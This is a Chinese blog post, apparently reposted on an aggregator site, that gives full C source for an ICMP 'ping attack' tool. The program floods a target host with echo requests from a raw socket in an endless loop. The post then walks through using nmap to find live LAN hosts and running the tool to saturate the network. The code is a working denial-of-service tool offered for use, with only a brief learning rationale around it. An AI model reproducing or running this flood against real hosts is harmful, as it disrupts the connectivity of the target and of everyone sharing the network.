Linux 环境实现ping攻击
来源:互联网 发布:加入软件免费下载 编辑:程序博客网 时间:2024/06/08 00:27
通过不断的ping局域网中的某个主机,可以达到几乎完全占用那个主机网速的效果,但自己的网速也废了,整个局域网的上网基本上也废来。所以这是一种同归于尽的攻击方式,实用性基本上不存在了。之所以做这件事,是因为最近在研读 TCP/IP详解卷一 这本书,所以用代码实现了ping的功能,并且稍加改进成为了ping攻击的代码。
一、开发环境:Red Hat Enterprise Linux 6.0
编译工具:GCC
二、程序流程:
定义相关全局变量(如套接字socket等)-》根据输入参数获取IP地址 -> 不断发ICMP请求回显包
三、程序源码:
#include <string.h>#include <sys/time.h>#include <stdlib.h>#include <stdio.h>#include <signal.h>#include <arpa/inet.h>#include <sys/types.h>#include <sys/socket.h>#include <unistd.h>#include <netinet/in.h>#include <netinet/ip_icmp.h>#include <netinet/ip.h>#include <netdb.h>#include <setjmp.h>#include <errno.h>#include <sys/select.h>#define PACKET_SIZE 4096//缓冲区大小struct timeval timeout={5,0};//设置socket超时时间5sfd_set fds;//文件描述符集合,可以监视该集合的描述符char sendpacket[PACKET_SIZE];//发送缓冲区char recvpacket[PACKET_SIZE];//接收缓冲区int sockfd,datalen=56;//套接字int nsend = 0,nreceived = 0;//发送和接收计数struct sockaddr_in dest_addr;//目的IP地址pid_t pid;//进程ID号struct sockaddr_in from;//源IP地址struct timeval tvrecv;//时间结构体unsigned short cal_chksum(unsigned short* addr,int len);//校验和计算函数int pack(int pack_no);//打包函数void send_packet(void);//发送包函数void tv_sub(struct timeval *out,struct timeval *in);//时间计算函数\unsigned short cal_chksum(unsigned short* addr,int len){ int nleft = len; int sum = 0; unsigned short* w = addr; unsigned short answer = 0; while(nleft>1) {sum += *w++;nleft -= 2; } if(nleft == 1) { *(unsigned char*)(&answer) = *(unsigned char*)w; sum += answer; } sum = (sum>>16)+(sum&0xffff); answer=~sum; return answer;}int pack(int pack_no){ int i,packsize; struct icmp* icmp; struct timeval* tval; icmp = (struct icmp*)sendpacket; icmp->icmp_type = ICMP_ECHO;//请求回显报文 icmp->icmp_code = 0; icmp->icmp_cksum = 0; icmp->icmp_seq = pack_no; icmp->icmp_id = pid; packsize = 8+datalen; tval = (struct timeval*)icmp->icmp_data; gettimeofday(tval,NULL); icmp->icmp_cksum =cal_chksum((unsigned short*)icmp,packsize); return packsize;}void send_packet(){ int packetsize; nsend++; packetsize = pack(nsend); FD_ZERO(&fds);//清空描述符集fds FD_SET(sockfd,&fds);//将sockfd加入描述符集 int ret=select(sockfd+1,NULL,&fds,NULL,&timeout);//监控套接字是否可写,若不能写入,则等待timeout时间,超时返回0,可写返回大于0,发生错误返回负值 if(ret<0) {perror("Select Error"); } else if(ret==0) {perror("Send Timeout"); } else { if(sendto(sockfd,sendpacket,packetsize,0,(struct sockaddr*)&dest_addr,sizeof(dest_addr))<0) {// perror("sendto error"); }//sleep(1); if(nsend==0x7fffffff) nsend=0; }}void tv_sub(struct timeval* out,struct timeval* in){ if((out->tv_usec -= in->tv_usec)<0) {--out->tv_sec;out->tv_usec += 1000000; } out->tv_sec -= in->tv_sec;}int main(int argc,char* argv[]){ struct hostent *host; struct protoent* protocol; unsigned long inaddr = 0l; int size = 50*1024; FD_ZERO(&fds);//清空描述符集fds FD_SET(sockfd,&fds);//将sockfd加入描述符集 if(argc<2) {printf("Please input IP address after ./attack\n",argv[0]);exit(1); } if((protocol = getprotobyname("icmp"))==NULL) {perror("getprotobyname");exit(1); } if((sockfd=socket(AF_INET,SOCK_RAW,protocol->p_proto))<0) {perror("socket error");exit(1); } setuid(getuid()); setsockopt(sockfd,SOL_SOCKET,SO_RCVBUF,&size,sizeof(size));//设置接收缓冲区大小 setsockopt(sockfd,SOL_SOCKET,SO_SNDBUF,&size,sizeof(size));//设置发送缓冲区大小 bzero(&dest_addr,sizeof(dest_addr));//初始化填充地址结构体 dest_addr.sin_family = AF_INET; if(inaddr = inet_addr(argv[1]) == INADDR_NONE)//不能从输入参数1直接获取到IP地址 {if((host = gethostbyname(argv[1]))==NULL)//从主机名获取IP地址 { perror("gethostbyname error"); exit(1); } memcpy((char*)&dest_addr.sin_addr,host->h_addr,host->h_length); } else dest_addr.sin_addr.s_addr = inet_addr(argv[1]);//直接填充IP地址 while(1) { send_packet(); } return 0;}四、攻击过程第一步:利用nmap工具查看局域网内的活跃IP;<img src="http://img.blog.csdn.net/20150502220914551?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvSmFzb25fX19Cb3VybmU=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" />第二步:从第一步可以看出活跃的IP,其中192,168.1.112是我的笔记本,程序运行在台式机上,运行生成的程序myping<img src="http://img.blog.csdn.net/20150502220913258?watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZXQvSmFzb25fX19Cb3VybmU=/font/5a6L5L2T/fontsize/400/fill/I0JBQkFCMA==/dissolve/70/gravity/Center" alt="" />
第三步:在笔记本上检查效果,发现网页根本打不开,时间长了。操作还有点卡,整个局域网上的机子都是这样,所以说同归于尽嘛!
0 0
- Linux 环境实现ping攻击
- Linux实现的 ping
- Linux ping简单实现
- linux下防止syn攻击,端口扫描和死亡之ping
- linux iptables 防止 syn ddos ping 等 攻击
- linux C++ 实现ping类
- ping的实现 linux c
- linux C++ 实现ping类
- Linux环境下 ping www.baidu.com
- 浅谈Ping 攻击
- kai-linux 实现MITM攻击
- Linux网络环境下的ARP攻击
- linux下ping的C语言实现
- Linux下Ping的实现代码
- Linux下ping命令实现详解
- 一步一步实现Linux下Ping命令
- java在linux下ping功能实现
- linux ping 命令的实现和分析
- Road constructions (hdu 3917 最大权闭合图)
- 开始充电学习
- [C++]LeetCode 26: Remove Duplicates from Sorted Array(有序数组去重)
- 关于未完全Root的Android系统如何彻底ROOT
- 跨域post方式传递数据解决方案--CORS
- Linux 环境实现ping攻击
- linux ipc 进程间通信 共享内存、socket等
- android Camera照相机技术(二)定制拍照
- 三角形
- 指针与数组
- 「HD_ACM」A+B for Input-Output Practice (VI)
- Struts2+Spring+Ibatis用户注册、登录、管理入门学习实例源码下载
- 解决错误:Call requires API level 11 (current min is 8): new android.app.Fragment
- HDU 5091 Beam Cannon